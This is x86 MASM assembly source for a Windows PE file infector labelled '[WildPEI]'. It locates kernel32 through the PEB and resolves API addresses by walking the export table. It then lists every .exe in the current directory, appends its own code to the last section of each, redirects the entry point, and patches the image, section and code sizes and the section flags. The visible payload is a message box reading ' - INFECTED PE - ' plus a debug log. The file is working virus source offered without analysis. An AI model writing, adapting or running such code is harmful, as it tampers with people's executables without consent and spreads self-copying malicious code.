; getkernelbase-peb.asm
	
.386
.model flat, stdcall

    ; ******** INCLUDES ******** 
option casemap:none
assume fs:nothing
	
    include \masm32\include\windows.inc
    include \masm32\include\user32.inc
    include \masm32\include\kernel32.inc

    includelib \masm32\lib\user32.lib
    includelib \masm32\lib\kernel32.lib


    ; ******** DATAS ******** 
.data


.code

    codelen     equ  endcode - startcode + 57h
    codeofz     equ  start - startcode

startcode:

    ; @todo: paste here for including data to memory



    ; .code
    ; startcode:




    ; @todo: just move data section here to copy it with VirtualProtect while running

start:

    ; ******* PROTOTYPES ******* 
getfile     proto Fname:PTR DWORD, openCreate:DWORD
writefile   proto szToWrite:DWORD, buffer:PTR DWORD
readfile    proto toRead:DWORD, buffer:PTR DWORD
setfileptr  proto OffsetB:DWORD
closefile   proto
getdir      proto
getfstfilex proto
getnxtfile  proto
jambi       proto
getFuncAddr proto baseAddress:DWORD, funcName:DWORD
recoverFuncAddress proto KBAdr: DWORD, FuncStr:DWORD
strcmp      proto s1:DWORD, s2:DWORD
jambi       proto 


 ; ******* GET PIC ******* 
    call    get_delta
get_delta:
    pop     edi
    sub     edi, offset get_delta
    jmp     jambi
    
jambi proc



; ******* LOCAL VARS ******* 

    LOCAL KBA:DWORD		          ; Kernel Base Address
    LOCAL VPPTR:DWORD		          ; VirtualProtect Ptr
 ;   LOCAL GetProcAddressPtr:DWORD	                ; GetProcAddress ptr
 ;   LOCAL hModuleUser32:DWORD                       ; huser32 HMODULE
 ;   LOCAL MessageBoxPtr:DWORD		                ; MessageBoxA

    
    jmp avoid

    ; vars for the self read mode
    Old         dw  ?                               ; pointed param for Virtual Protect
    BaseRegAdr  dd  ?                               ; Pointer to base register provided at startup

    ; debug vars
    WndTextOut1 db  "Kernel32 base address: 0x"
    WndTextOut2 db  8 dup (66), 13, 10, 0           ; "BBBBBBBB\r\n\0" ?
    WndTextFmt  db  "%x", 0
    dbg1        db  "Read: "
    dbg2        db  3 dup (66), 13, 10, 0           ; "BBB\r\n\0" ?
    dbgFmt      db  "%d", 0                         ; Debug format

    ; Handles for files
    labelfd3    db  "    dbg "                      ; dbg
    dbgHnd      dd  ?                               ; Current handle for writing debug log
    labelfd4    db  "cur "                          ; dbg
    curFileHnd  dd  ?                               ; Current handle for file operations
    labelfd1    db  "open"                          ; dbg
    openFileHnd dd  ?                               ; Currently opened exe handle after getfst/nxtfile
    labelfd2    db  "last"                          ; dbg
    lastFoundHd dd  ?                               ; Last returned handle from getfst/nxtfile

    ; vars describing file structure
    labelfd5    db  "head"                          ; dbg
    PEHeader    dd  ?                               ; Offset to PEHeader
    labelfd6    db  "nthd"                          ; dbg
    PNTHeader   dd  ?                               ; Pointer to NTHeader
    labelfd7    db  "ohsize"                        ; dbg
    OptHeaderSz dw  ?                               ; Size of optional header
    labelfd8    db  "ohen"                          ; dbg
    OptHeaderEn dd  ?                               ; Pointer to Optional Header end
    
    ; vars for sections respect
    labelfd9    db  "secp"                          ; dbg
    SectionPtr  dd  ?                               ; Current Section Header Offset 
    labelfd10   db  "secz"                          ; dbg
    SectionsSz  dd  ?                               ; Sections total raw size
    labelfd11   db  "secc  "                        ; dbg
    SectionCtDw dw  ?                               ; Section countdown
    labelfd21   db  "seca"                          ; dbg
    SectionAlgn dd  ?                               ; Section alignement
    
    labelfd20   db  "tots"                          ; dbg
    TotalSize   dd  ?                               ; Total output file size

    labelfd14   db  "farp"                          ; dbg
    FarthestPtr dd  ?                               ; farthest raw data ptr of all sections

    ; vars for the section to infect
    labelfd12   db  "ipep"                          ; dbg
    PEntryPoint dd  ?                               ; Pointer to Address of entry point
    labelfd13   db  "ipsh"                          ; dbg
    PSectionHea dd  ?                               ; Pointer to Section header
    labelfd15   db  "code"                          ; dbg
    CodeInsert  dd  ?                               ; Pointer to end of last section's data
    labelfd16   db  "tmpd"                          ; dbg
    tmpdd       dd  ?                               ; TMP DATA DWORD
    labelfd17   db  "nvs "                          ; dbg
    NewVS       dd  ?                               ; Value of new Virtual Size
    labelfd18   db  "nrds"                          ; dbg
    NewRDS      dd  ?                               ; Value of new Raw Data Size
    labelfd19   db  "nchr"                          ; dbg
    NewChrstcs  dd  ?                               ; Value of new Characteristics

    ; vars for the writing of files
    FileName    db  "debugOutput.txt", 0            ; name of the debug file
    szWritten   dd  ?                               ; Size written in file

    ; vars for the reading of files
    bufferRd    dd  ?                               ; buffer for read operations
    bufferRdSz  dd  600h                            ; buffer size
;    bufferTest  db  400 dup (84)                    ; buffer for read operations
    szRead      dd  ?                               ; Size read in file
    firstPass   db  ?                               ; Flag to know if reading the beginning

    ; vars about the current directory and contained files
    stringFmt   db  "%s", 0                         ; 
    fileFilter  db  "\*.exe", 0                     ; filter to only get exe files
    fFindData   WIN32_FIND_DATA <>                  ; exe file information structure

    bufDirPath  db  100 dup (82)                    ; buffer for path
    bufDirSz    dd  ?                               ; path size


    szWndTitle  db	"[WildPEI]", 0
    szWndText   db	" - INFECTED PE - ", 0


; vars for functions ptrs
    KernelBaseAddress   dd  ?
    VirtualProtectPtr   dd  ?
    LoadLibraryExAPtr   dd  ?
    GetProcAddressPtr   dd  ?
    hModuleUser32       dd  ?
    MessageBoxPtr       dd  ?

    VirtualProtectStr   db  "VirtualProtect", 0
    LoadLibraryExAStr   db  "LoadLibraryExA", 0
    GetProcAddressStr   db  "GetProcAddress", 0
    MessageBoxStr       db  "MessageBoxA", 0
    hModuleUser32Str    db  "C:\Windows\System32\user32.dll", 0
avoid:

    ; ******* GET KERNEL BASE ADDRESS ******* 
    xor	esi,esi
    mov	esi,fs:[030h]		; pointer to PEB
    mov	esi,[esi + 0Ch]		; PEB->Ldr
    mov	esi,[esi + 01Ch]        ; PEB->Ldr.InLoadOrderModuleList.Flink 
    mov	esi,[esi]               ; second entry
    mov	esi,[esi + 08h]		; kernel base address
    mov     KBA, esi  ; saved


    ; ******* GET VP ADDRESS ******* 

    lea	eax, [offset VirtualProtectStr + edi]
    push	eax
    push	KBA
    call	getFuncAddr
    cmp	eax, 0
    je	die
    mov	VPPTR, eax

    ; ******* ENABLE SELF CODE READING ******* 
    push    0                       ; will be used as a var
    push    esp                     ; push address of previously stacked 0 
    push    40h                     ; RDW
    push    codelen                 ; code size
    push    offset startcode        ; code beginning address
    call    VPPTR                   ; call VirtualProtect
    mov     [offset BaseRegAdr + edi], ebx         ; save base register value
    pop     eax
    pop     eax
    pop     eax

    ; save KBA
    mov     eax, KBA
    mov     [offset KernelBaseAddress + edi], eax
    mov     eax, VPPTR
    mov     [offset VirtualProtectPtr + edi], eax
    

    ; ******* GET FUNCTIONS ADDRESSES ******* 
    invoke  recoverFuncAddress, [offset KernelBaseAddress + edi], offset LoadLibraryExAStr
    mov     [offset LoadLibraryExAPtr + edi], eax

;    mov     eax, offset GetProcAddressStr
;    add     eax, edi
    invoke  recoverFuncAddress, [offset KernelBaseAddress + edi], offset GetProcAddressStr
    mov     [offset GetProcAddressPtr + edi], eax

    ; get user32 module lib base adress for msg box
    push	NULL
    push	NULL
    lea	eax, [offset hModuleUser32Str + edi]
    push	eax
    call	[offset LoadLibraryExAPtr + edi]
    cmp	eax, NULL
    je	die
    mov	[offset hModuleUser32 + edi], eax

    ;get msgbox ptr
    lea     eax, [offset MessageBoxStr + edi]
    push	eax
    push	[offset hModuleUser32 + edi]
    call	[offset GetProcAddressPtr + edi]
    cmp	eax, NULL
    je	die
    mov	MessageBoxPtr, eax


    ; ******* call the MSGBOX ******* 
    push	MB_OK
    lea     eax, [offset szWndTitle + edi]
    push    eax
    lea	eax, [offset szWndText + edi]
    push	eax
    push	0
    call	MessageBoxPtr


    ; ******* DEBUG KERNEL ADDRESS ******* 
    push    esi
    push    offset WndTextFmt       ; Format
    push    offset WndTextOut2      ; buffer
    call    wsprintfA
    
;    push    STD_OUTPUT_HANDLE 
;    call    GetStdHandle

    ; ******* DEBUG ******* 
    ; ecriture de l'adresse KBA dans FileName (always create)
    invoke  getfile, offset FileName, 2h
    invoke  writefile, SIZEOF WndTextOut1 + SIZEOF WndTextOut2, offset WndTextOut1

    mov     eax, curFileHnd
    mov     dbgHnd, eax

    ; open directory for files
    invoke  getdir

    ; format path search string
    push    offset fileFilter       ; add filter to the end of path
    push    offset stringFmt        ; Format
    mov     ecx, offset bufDirPath  ; directory path buffer offset
    add     ecx, bufDirSz           ; + size of this buffer => go to end
    push    ecx                     ; offset to write
    call    wsprintfA

    invoke  getfstfilex                                     ; find first exe
mainloop:
    invoke  getfile, offset fFindData.cFileName, 3h         ; open found exe
    call    GetLastError
    .if (eax == ERROR_SUCCESS)                              ; infect when able to
        mov     eax, curFileHnd                             ; set curFile as the handle opened
        mov     openFileHnd, eax
        mov     firstPass, 1                                ; flag first pass in the file

; allocate buffer to read files
        push    bufferRdSz                                  ; max size of the heap
        push    bufferRdSz                                  ; initial size of the heap
        push    0                                           ; no options
        call    HeapCreate
        mov     bufferRd, eax                               ; save returned ptr
        
        push    bufferRdSz                                  ; size to alloc
        push    0                                           ; no flags
        push    bufferRd                                    ; give the heap ptr
        call    HeapAlloc

continueread:
        invoke  readfile, bufferRdSz, bufferRd              ; read the exe

        mov     eax, dbgHnd                                 ; set to DEBUG
        mov     curFileHnd, eax
        push    szRead
        push    offset dbgFmt                               ; Format
        push    offset dbg2                                 ; buffer
        call    wsprintfA
        invoke  writefile, SIZEOF dbg1 + SIZEOF dbg2, offset dbg1

        mov     eax, openFileHnd                            ; set to READING
        mov     curFileHnd, eax

; ********* ANALYSIS *********
        mov     ebx, bufferRd                               ; get address of buffer
        .if (WORD PTR [ebx] == 'ZM')                        ; E_MAGIC
            mov     eax, DWORD PTR [ebx + 3Ch]              ; get dword at buffer + 3ch
            mov     PEHeader, eax                           ; PE header adress

            mov     ecx, ebx                                ; get adress of buffer
            add     ecx, PEHeader                           ; + offset contained in PEHeader
            mov     PNTHeader, ecx                          ; copy address of NTHeader
            .if (WORD PTR [ecx] == 'EP')                    ; PE SIGNATURE
                mov     ax, WORD PTR [ecx + 6h]             ; go to FILE_HEADER.nbr_of_sections
                mov     SectionCtDw, ax                     ; copy nbr of sections
                
                mov     ax, WORD PTR [ecx + 14h]            ; go to FILE_HEADER.opt_header_sz
                mov     OptHeaderSz, ax                     ; copy size of optional header
                add     cx, 18h                             ; go to OPTIONAL_HEADER
                mov     PEntryPoint, ecx                    ; prepare ptr to entry point ptr
                add     PEntryPoint, 10h                    ; get real address of entry point ptr
                add     cx, OptHeaderSz                     ; go to end of Optional header
                mov     OptHeaderEn, ecx                    ; save adress

                ; Resolving of the sections sizes from headers
                mov     SectionPtr, ecx                     ; first section offset
                mov     FarthestPtr, 0                      ; ini farthest ptr to 0
sections:
                    mov     eax, DWORD PTR [ecx + 14h]      ; get section raw data ptr
                    .if (eax > FarthestPtr)                 ; and if its further than others
                        mov     FarthestPtr, eax            ; save it as farthest
                        mov     PSectionHea, ecx            ; and save dis sectionheader pos
                    .endif
                    add     cx, 28h                         ; move pointer to next section header
                    mov     SectionPtr, ecx                 ; Save position after sections
                    dec     SectionCtDw                     ; Decrement sections to count
                .if (SectionCtDw != 0)                      ; While we havent counted all sections
                    jmp sections
                .endif
            .endif                                          ; end test PE
        .endif                                              ; end test MZ

; ********* INFECTION *********  
        .if (firstPass == 1)                                ; if changing headers
;            mov     ecx, PEntryPoint
;            sub     ecx, offset bufferTest                  ; ecx contains offset to entrypoint
;            invoke  setfileptr, ecx                         ; move here in file

;            mov     eax, ebx                                ; from file beginning


; compute entry point 
            mov     ecx, PSectionHea                        ; get back the last section offset
            mov     eax, DWORD PTR [ecx + 0Ch]              ; add virtual adress of last section
            add     eax, DWORD PTR [ecx + 10h]              ; add size of last section
            add     eax, codeofz                            ; add offset required to reach code (datas are declared first)
            mov     tmpdd, eax                              ; copy result in temporary var

; change entry point
            mov     ecx, PEntryPoint                        ; get offset in raw file of the entry point attribute
            sub     ecx, ebx                                ; substract offset to the raw file currently in mem
            invoke  setfileptr, ecx                         ; move to entrypoint attribute
            invoke  writefile, 4, offset tmpdd              ; write result as the Entry Point
            
; change base of code
            mov     ecx, PEntryPoint                        ; get offset in raw file of the entry point attribute
            add     ecx, 4                                  ; modify offset to point baseOfCode
            sub     ecx, ebx                                ; substract offset to the raw file currently in mem
            invoke  setfileptr, ecx
            invoke  writefile, 4, offset tmpdd              ; write result as the new BaseOfCode


; compute size of image
            mov     eax, PEntryPoint                        ; get offset in raw file of the entry point attribute
            mov     eax, DWORD PTR [eax + 10h]              ; point SectionAlignement
            mov     SectionAlgn, eax                        ; save the SectionAlignement

            mov     eax, tmpdd                              ; from entryPoint,
            add     eax, codelen                            ; get total final size of file
            mov     TotalSize, eax                          ; save the total final size of file
            
            mov     edx, 0                                  ; enable division
            div     SectionAlgn                             ; divide total size by sectionAlignement
            inc     eax                                     ; get result + 1
            mul     SectionAlgn                             ; finaly get the multiple for the image size
            mov     tmpdd, eax                              ; and save it

; change size of image
            mov     ecx, PEntryPoint                        ; get offset in raw file of the entry point attribute
            add     ecx, 28h                                ; modify offset to point SizeOfImage
            sub     ecx, ebx                                ; substract offset to the raw file currently in mem
            invoke  setfileptr, ecx
            invoke  writefile, 4, offset tmpdd              ; write result as the new BaseOfCode


; append code to the end
            mov     ecx, PSectionHea                        ; get back the last section offset
            mov     eax, DWORD PTR [ecx + 14h]              ; add raw data ptr offset for last section
            add     eax, DWORD PTR [ecx + 10h]              ; add size of last section
            mov     CodeInsert, eax                         ; place result in
            invoke  setfileptr, eax                         ; move here in file
            mov     eax, codelen
            invoke  writefile, eax, offset startcode        ; write code in file            

; change virtual size of section
            mov     ecx, PSectionHea                        ; get back the last section offset
            mov     eax, DWORD PTR [ecx + 08h]              ; add size of last section
            add     eax, codelen                            ; add size written at the end
            mov     NewVS, eax                              ; save new VS Value
            mov     ecx, PSectionHea                        ; get back the last section offset
            sub     ecx, ebx                                ; substract offset to the raw file currently in mem
            add     ecx, 08h
            invoke  setfileptr, ecx                         ; move to VS
            invoke  writefile, 4, offset NewVS              ; write result as the new VS

; change raw data size of section
            mov     ecx, PSectionHea                        ; get back the last section offset
            mov     eax, DWORD PTR [ecx + 10h]              ; add size of last section
            add     eax, codelen                            ; add size written at the end
            mov     NewRDS, eax                             ; save new RDS Value
            mov     ecx, PSectionHea                        ; get back the last section offset
            sub     ecx, ebx                                ; substract offset to the raw file currently in mem
            add     ecx, 10h
            invoke  setfileptr, ecx                         ; move to RDS
            invoke  writefile, 4, offset NewRDS             ; write result as the new RDS

; change characteristics of section
            mov     ecx, PSectionHea                        ; get back the last section offset
            mov     eax, DWORD PTR [ecx + 24h]              ; get characteristics of last section
            or      eax, 60000020h                          ; allow READ|EXEC|CODE
            mov     NewChrstcs, eax                         ; save new Characteristics Value
            mov     ecx, PSectionHea                        ; get back the last section offset
            sub     ecx, ebx                                ; substract offset to the raw file currently in mem
            add     ecx, 24h
            invoke  setfileptr, ecx                         ; move to Characteristics
            invoke  writefile, 4, offset NewChrstcs         ; write result as the new Chrstcs

; change size of code in PEHeader
            mov     ecx, PNTHeader
            add     ecx, 1Ch                                ; go to SizeOfCode
            mov     eax, DWORD PTR [ecx]                    ; get sizeOfCode
            add     eax, codelen                            ; add number of added bytes
            mov     tmpdd, eax                              ; copy
            sub     ecx, ebx                                ; get relative address in file
            invoke  setfileptr, ecx     
            invoke  writefile, 4, offset tmpdd              ; write result as the new SOC

; change size of initialized data in PEHeader
            mov     ecx, PNTHeader
            add     ecx, 20h                                ; go to SizeOfInitializedData
            mov     eax, DWORD PTR [ecx]                    ; get sizeOfInitializedData
            add     eax, codelen                            ; add number of added bytes
            mov     tmpdd, eax                              ; copy
            sub     ecx, ebx                                ; get relative address in file
            invoke  setfileptr, ecx     
            invoke  writefile, 4, offset tmpdd              ; write result as the new SOID

; after infection, set flag to 0
            mov     firstPass, 0                            ; no more in the beginning

        .endif                                              ; endif firstPass = 1

        .if (szRead == 600h)                                ; !EOF @todo : 600 should be bufferRdSz, but compilations sayin "invalid operands"
            jmp continueread
        .endif

        invoke  closefile                                   ; close current exe
        
    .endif
    invoke  getnxtfile                                      ; get next exe
    call    GetLastError
    .if (eax != ERROR_NO_MORE_FILES)
        jmp mainloop                                        ; loop if there is other exes
    .endif

jambi endp



     ; *************************
exit:; ******* FINAL END ******* 
     ; *************************
    mov     eax, dbgHnd                                 ; set to DEBUG
    mov     curFileHnd, eax
    invoke  closefile
    push	0
    call	ExitProcess

die:
    push    1
    call    ExitProcess
    





    ; ******* PROCEDURES ******* 
writefile   proc szToWrite:DWORD, buffer:PTR DWORD
    push	NULL               ; LPOverlapped
    push	offset szWritten   ; BytesWritten
    push	szToWrite          ; BytesToWrite
    push	buffer             ; Buffer
    push    curFileHnd         ; fhandle 
    call	WriteFile
    ret
writefile   endp

readfile    proc toRead:DWORD, buffer:PTR DWORD
    push    NULL                ; LPOverlapped
    push    offset szRead       ; Bytes Read (out)
    push    toRead              ; Bytes To Read
    push    buffer              ; Buffer
    push    curFileHnd          ; fhandle
    call    ReadFile
    ret
readfile    endp

closefile   proc
    push    curFileHnd          ; last opened Handle
    call    CloseHandle
    ret
closefile   endp

getfile     proc Fname:PTR DWORD, openCreate:DWORD
    push    NULL                    ; no template file
    push    80h                     ; File attributes Normal
    push    openCreate              ; Always create = 2, open existing = 3
    push    NULL                    ; default security
    push    3h                      ; Shared = none ; all 3h
    push    40000000h or 80000000h  ; Access = rd+wr (40000000h or 80000000h works) Y c0000000h doesnt ?
    push    Fname                   ; file name
    call    CreateFile
    mov     curFileHnd, eax         ; Save last opened handle into curFileHnd
    ret
getfile     endp

getdir      proc
    push    offset bufDirPath       ; buffer adress for the directory path
    push    SIZEOF bufDirPath       ; max size for this buffer
    call    GetCurrentDirectory
    mov     bufDirSz, eax           ; save the path length
    ret
getdir      endp

getfstfilex proc
    push    0                       ; 0
    push    NULL
    push    0                       ; FindExSearchNameMatch(0) <struct FINDEX_SEARCH_OPS>
    push    offset fFindData        ; structure for receiving file information
    push    1h                      ; findex info level : basic(1) <struct WIN32_FIND_DATA>
    push    offset bufDirPath       ; path of the directory to look into
    call    FindFirstFileEx
    mov     curFileHnd, eax         ; save handle as the current file handle
    mov     lastFoundHd, eax        ; save handle as the last found file handle
    ret
getfstfilex endp

getnxtfile  proc
    push    offset fFindData        ; structure for receiving file information
    push    lastFoundHd             ; push previous file handle found
    call    FindNextFile
    ret    
getnxtfile  endp

setfileptr  proc OffsetB:DWORD
    push    0                       ; From file_begin
    push    NULL                    ; Adress isnt on 64 but is on 32bits
    push    OffsetB                 ; Move to specified offset
    push    curFileHnd              ; file handle
    call    SetFilePointer
    ret
setfileptr  endp

getFuncAddr proc baseAddress:DWORD, funcName:DWORD
	
    LOCAL EOT:DWORD
    LOCAL EAT:DWORD
	
    ;; Save register
    push	esi
    push	edi
    push	ebx
    push	ecx
    push	edx
	
    mov	esi, baseAddress
    mov	edi, [esi+3ch]			; get lfanew
    add	esi, edi				; GOTO PE header
    add	esi, 18h				; Go IMAGE_OPTIONAL_HEADER
    mov	ebx, [esi+60h]			; Get RVA du premier element du DATA DIRECTORY : IMAGE_DIRECTORY_ENTRY_EXPORT
    mov	edi, baseAddress
    add	edi, ebx				; GO IMAGE_EXPORT_DIRECTORY
    mov	edx, [edi+24]			; NB of Names in ENT > Export name table
    imul	edx, 4
    mov	esi, [edi+28]			; pointer (RVA) to AddressOfFunctions (EAT)
    add	esi, baseAddress
    mov	EAT, esi				; Save AddressOfFunctions
    mov	esi, [edi+36]			; pointer (RVA) to EOT
    add	esi, baseAddress
    mov	EOT, esi				; Save Address of EOT

    mov	esi, [edi+32]			; pointer (RVA) to AddressOfNames (ENT)
    add	esi, baseAddress		      ; we are in ENT

    ;; Loop on Export name table
    xor			ecx, ecx

showfunction:
    mov	ebx, baseAddress		     ; Get BA
    add	ebx, [esi + ecx]		     ; Get string pointer
    add	ecx, 4
	
    push	ebx
    push	funcName
    call	strcmp
    cmp	eax, 1
    je	found
    	
    cmp	ecx, edx
    jne	showfunction
    mov     eax, 0
    ret
	
found:
    sub	ecx, 4
	
    ;; GetProcAddress
    mov	esi, EOT				; Get EOT
    shr	ecx, 1				; /2 cause of WORD alignment for EOT
    movzx	ecx, word ptr [esi+ecx]       ; Get index in EAT from EOT
    imul	ecx, 4				; index * 4
    mov	esi, EAT				; Get address (NOT RVA)of EAT	
    mov	esi, [esi+ecx]			; get rva of function

    add	esi, baseAddress	
    mov	eax, esi
	
    pop	edx
    pop	ecx
    pop	ebx
    pop	edi
    pop	esi
    ret
getFuncAddr endp

strcmp proc s1:DWORD, s2:DWORD

	;; Save register
	push	esi
	push	ebx
	push	ecx
	push	edx
	
	xor	esi, esi
	
	mov	eax, s1
	mov	ebx, s2
next:
	;; Fill buffers
	xor	ecx, ecx
	xor	edx, edx
	mov	cl, byte ptr [eax+esi]
	mov	dl, byte ptr [ebx+esi]
	
	;; Inc counter
	add	esi, 1
	
	;; Escape if end or not equal
	cmp	cl, 0
	je	escape
	cmp	dl, 0
	je	escape
	cmp	cl, dl
	jne	escape
	jmp	next

escape:
	cmp	dl, cl
	jne	notfound
	mov	eax, 1
	jmp	recover
	
notfound:
	mov	eax, 0
	
recover:
	pop	edx
	pop	ecx
	pop	ebx
	pop	esi
    ret 
strcmp ENDP


recoverFuncAddress proc KBAdr:DWORD, FuncStr:DWORD
    mov     eax, FuncStr
    add     eax, edi
    push	eax
    push	KBAdr
    call	getFuncAddr
    cmp	eax, 0
    je	endgetfctaddr
    ret
endgetfctaddr:
    mov     eax, 0
    ret
recoverFuncAddress endp



endcode:


end	start


